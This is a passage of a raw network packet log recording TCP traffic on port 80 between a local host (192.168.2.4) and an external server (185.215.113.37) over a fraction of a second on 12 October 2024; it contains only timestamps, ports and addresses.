Oct 12, 2024 13:17:31.313987017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314018965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314023972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314026117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314053059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314069986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314094067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314102888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314205885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314224005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314270020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314276934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314321041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314382076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314415932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314426899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314450979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314456940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314481020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314496994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314516068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314521074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314551115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314560890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314585924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314593077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314621925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314626932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314659119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314663887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314692974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314698935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314727068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314734936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314762115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314769030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314795971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314810038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314831018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314837933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314866066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314876080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314903975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314907074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314938068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314945936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.314975023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.314980030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315009117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315020084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315043926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315052032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315078020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315085888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315112114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315119982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315146923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315155029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315181971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315191031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315216064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315222979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315249920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315260887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315284014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315290928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315319061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315327883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315351963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315363884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315397024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315419912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315457106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.315468073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.315498114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346323967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346374035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346389055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346410036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346426010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346445084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346478939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346512079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346584082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346585035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346585035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346601009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346611977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346636057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346647024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346674919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346684933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346709013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346724033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346745968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346755981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346781969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346792936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346817017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346832037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346857071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.346863985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.346905947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.347796917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.347850084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.347871065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.347904921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.347918034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.347949028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348020077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348069906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348073959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348109007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348123074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348155022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348160982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348196030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348207951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348229885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348246098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348265886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348273039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348300934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348311901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348335981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348346949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348371029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348382950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348407030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348417997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348438025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348453045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348473072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348484039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348509073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348520041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348543882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348556042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348578930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348592043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348614931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348620892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348650932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348664045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348687887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348697901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348721027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.348733902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.348767042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.375628948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.375730991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.375763893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.375818968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.375828028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.375828028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.375828028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.375869036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.375878096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.375930071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.375933886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.375979900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.375986099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376020908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376034975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376055956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376069069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376090050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376100063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376126051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376138926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376161098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376173973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376194954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376207113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376236916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376245975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376271009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376282930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376305103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376318932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376339912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376351118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376369953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376389980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376411915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376413107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376461029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376471043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376513004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376522064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376573086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376579046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376611948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376626015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376645088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376657009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376679897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376692057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376713991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376729012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376748085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376760960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376782894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376797915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376816988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376825094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376852036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376864910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376884937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376899958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376919985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376931906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376952887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.376965046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.376987934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.377000093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.377023935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.377032995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.377058983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.377070904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.377094030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.377104044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.377131939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.377141953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.377162933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.377182961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.377207041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408045053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408117056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408204079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408217907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408217907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408265114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408272982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408309937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408322096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408344984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408351898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408381939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408392906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408416033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408428907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408452034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408462048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408498049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408505917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408540010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408552885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408574104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408586979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408620119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408627033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408663034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408678055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408699989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408710957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408730984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408750057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408776045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408786058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408819914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408830881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408869982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408870935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408905983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408921957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408938885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408947945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.408973932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.408983946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409022093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409025908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409060955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409071922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409095049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409106970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409142971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409148932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409179926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409202099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409214020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409220934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409250975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409257889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409285069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409298897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409321070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409332037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409354925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409367085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409390926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409401894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409425020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409436941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409459114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409470081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409496069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409517050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409517050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409529924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409538984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409564018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409570932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409600019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409610033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409634113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409646988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409668922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409677982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409699917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409715891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409737110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409749031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409773111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409785032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409807920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409820080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409843922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409853935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409878969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.409890890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.409924030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.445100069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.445177078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.445192099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.445214033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.445219994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.445249081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.445260048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.445285082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.445296049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.445319891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.445327044 CEST	49730	80	192.168.2.4	185.215.113.37
